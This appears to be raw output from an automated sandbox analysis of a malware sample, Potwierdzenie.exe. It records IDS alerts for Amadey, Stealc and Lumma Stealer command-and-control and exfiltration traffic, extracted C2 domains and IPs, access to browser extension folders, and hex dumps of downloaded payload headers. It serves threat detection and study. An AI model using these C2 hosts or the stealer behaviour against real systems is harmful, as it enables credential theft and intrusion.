Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x86\obj\Release\php_opcache.pdb source: Potwierdzenie.exe, 00000008.00000003.2540265791.0000000008200000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2540383929.0000000007410000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3001666143.0000000009850000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x86\obj\Release\php.pdb$$$UGP source: Potwierdzenie.exe, 0000000A.00000002.2881798543.000000000040C000.00000002.00000001.01000000.00000009.sdmp, Potwierdzenie.exe, 0000000A.00000002.2987607729.0000000008F80000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: @ compiler: cl /Zi /Fdossl_static.pdb /Gs0 /GF /Gy /MD /W3 /wd4090 /nologo /O2 -DL_ENDIAN -DOPENSSL_PIC -DOPENSSL_CPUID_OBJ -DOPENSSL_BN_ASM_PART_WORDS -DOPENSSL_IA32_SSE2 -DOPENSSL_BN_ASM_MONT -DOPENSSL_BN_ASM_GF2m -DSHA1_ASM -DSHA256_ASM -DSHA512_ASM -DRC4_ASM -DMD5_ASM -DRMD160_ASM -DAESNI_ASM -DVPAES_ASM -DWHIRLPOOL_ASM -DGHASH_ASM -DECP_NISTZ256_ASM -DPOLY1305_ASMOpenSSL 1.1.1w 11 Sep 2023built on: Mon Mar 11 21:05:37 2024 UTCplatform: VC-WIN32OPENSSLDIR: "C:\Program Files (x86)\Common Files\SSL"ENGINESDIR: "C:\usr\local\ssl\lib\engines-1_1"not availabledes(long) source: Potwierdzenie.exe, 00000008.00000003.2541086201.0000000009253000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3008705922.0000000009C70000.00000004.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\my documents\boxedappsdk\boxedappsdk2024-2\source_code\bxsdk\bin\Release_Full\BoxedAppSDK_DLL.pdb source: Potwierdzenie.exe, 00000008.00000003.2534433007.0000000003920000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2547531162.0000000009AF0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2539211932.00000000071E0000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2534176518.0000000003710000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2993402440.0000000009380000.00000004.10000000.00040000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmp
Source:	Binary string: D:\a\php-ftw\php-ftw\php\vs16\x86\obj\Release\php8.pdb source: Potwierdzenie.exe, 00000008.00000003.2537340630.0000000006B99000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 00000008.00000003.2538400124.00000000073A9000.00000004.00001000.00020000.00000000.sdmp, Potwierdzenie.exe, 0000000A.00000002.2986280038.0000000008D80000.00000004.10000000.00040000.00000000.sdmp

Source: C:\Users\user\AppData\Local\Temp\1007251001\Potwierdzenie.exe

Code function: 10_2_0BCBF250 memcpy,memcpy,memcpy,memcpy,FindFirstFileW,lstrcmpiW,lstrcmpiW,lstrcmpiW,memcpy,memcpy,memcpy,memcpy,BoxedAppSDK_IsVirtualFileW,CreateFileW,GetFileSize,GetLastError,ReadFile,AddFontMemResourceEx,GetLastError,GetLastError,CloseHandle,lstrcmpiW,FindNextFileW,FindClose,

10_2_0BCBF250

Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\
Source: C:\Users\user\AppData\Local\Temp\1007253001\4dfaa8fc03.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\

Source: chrome.exe	Memory has grown: Private usage: 1MB later: 41MB
Source: firefox.exe	Memory has grown: Private usage: 1MB later: 188MB

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:49773 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.4:49788
Source: Network traffic	Suricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.4:49882 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49914 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49943 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:49953 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.4:49953 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.4:49953
Source: Network traffic	Suricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.4:49953 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.4:49953
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:49978 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.4:49953 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50014 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.4:50052 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50084 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50108 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.4:50135 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.4:50340 -> 185.215.113.43:80
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.4:49988 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:49927 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49927 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:50036 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50036 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50028 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.4:50050 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50050 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:50079 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.4:49917 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.4:49917 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: processhol.sbs
Source: Malware configuration extractor	URLs: p10tgrace.sbs
Source: Malware configuration extractor	URLs: p3ar11fter.sbs
Source: Malware configuration extractor	URLs: peepburry828.sbs
Source: Malware configuration extractor	URLs: 3xp3cts1aim.sbs
Source: Malware configuration extractor	IPs: 185.215.113.43

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 22:04:08 GMTContent-Type: application/octet-streamContent-Length: 37624498Last-Modified: Mon, 18 Nov 2024 21:33:34 GMTConnection: keep-aliveETag: "673bb2ae-23e1ab2"Accept-Ranges: bytesData Raw: 4d 5a 50 00 02 00 00 00 04 00 0f 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 ba 10 00 0e 1f b4 09 cd 21 b8 01 4c cd 21 90 90 54 68 69 73 20 70 72 6f 67 72 61 6d 20 6d 75 73 74 20 62 65 20 72 75 6e 20 75 6e 64 65 72 20 57 69 6e 33 32 0d 0a 24 37 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 0b 00 7d 53 a3 66 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 02 19 00 c4 3c 00 00 76 11 00 00 00 00 00 d4 de 3c 00 00 10 00 00 00 e0 3c 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 d0 4f 00 00 04 00 00 64 be 4c 00 03 00 00 81 00 00 10 00 00 40 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 a0 40 00 73 00 00 00 00 70 40 00 e2 13 00 00 00 a0 42 00 00 b8 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 40 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 68 73 40 00 f0 02 00 00 00 90 40 00 da 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 18 b1 3c 00 00 10 00 00 00 b2 3c 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 69 74 65 78 74 00 00 40 10 00 00 00 d0 3c 00 00 12 00 00 00 b6 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 e4 73 02 00 00 f0 3c 00 00 74 02 00 00 c8 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 62 73 73 00 00 00 00 b8 fb 00 00 00 70 3f 00 00 00 00 00 00 3c 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 69 64 61 74 61 00 00 e2 13 00 00 00 70 40 00 00 14 00 00 00 3c 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 64 69 64 61 74 61 00 da 02 00 00 00 90 40 00 00 04 00 00 00 50 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 65 64 61 74 61 00 00 73 00 00 00 00 a0 40 00 00 02 00 00 00 54 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 20 00 00 00 00 b0 40 00 00 00 00 00 00 56 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 2e 72 64 61 74 61 00 00 5d 00 00 00 00 c0 40 00 00 02 00 00 00 56 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 14 c2 01 00 00 d0 40 00 00 00 00 00 00 58 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 72 73
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 22:04:26 GMTContent-Type: application/octet-streamContent-Length: 1873408Last-Modified: Mon, 18 Nov 2024 21:24:12 GMTConnection: keep-aliveETag: "673bb07c-1c9600"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 e6 72 3b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 10 04 00 00 ba 00 00 00 00 00 00 00 60 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 4a 00 00 04 00 00 d9 75 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 70 05 00 70 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 71 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 50 05 00 00 10 00 00 00 5e 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 60 05 00 00 00 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 70 05 00 00 02 00 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 d0 2a 00 00 80 05 00 00 02 00 00 00 70 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 71 66 75 7a 6e 76 67 00 00 1a 00 00 50 30 00 00 fc 19 00 00 72 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 77 79 73 6c 6d 65 78 6b 00 10 00 00 00 50 4a 00 00 06 00 00 00 6e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 4a 00 00 22 00 00 00 74 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 22:04:31 GMTContent-Type: application/octet-streamContent-Length: 1834496Last-Modified: Mon, 18 Nov 2024 21:24:19 GMTConnection: keep-aliveETag: "673bb083-1bfe00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 30 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 60 6a 00 00 04 00 00 1a 52 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 00 2b 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 62 6f 76 71 68 6e 65 72 00 60 1a 00 00 c0 4f 00 00 5e 1a 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 66 75 69 61 72 61 69 76 00 10 00 00 00 20 6a 00 00 06 00 00 00 d6 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 30 6a 00 00 22 00 00 00 dc 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 18 Nov 2024 22:04:36 GMTContent-Type: application/octet-streamContent-Length: 922624Last-Modified: Mon, 18 Nov 2024 21:22:26 GMTConnection: keep-aliveETag: "673bb012-e1400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 0a b0 3b 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 64 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 12 ad 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 f0 a9 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 f0 a9 00 00 00 40 0d 00 00 aa 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 9e 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Mon, 18 Nov 2024 22:04:39 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 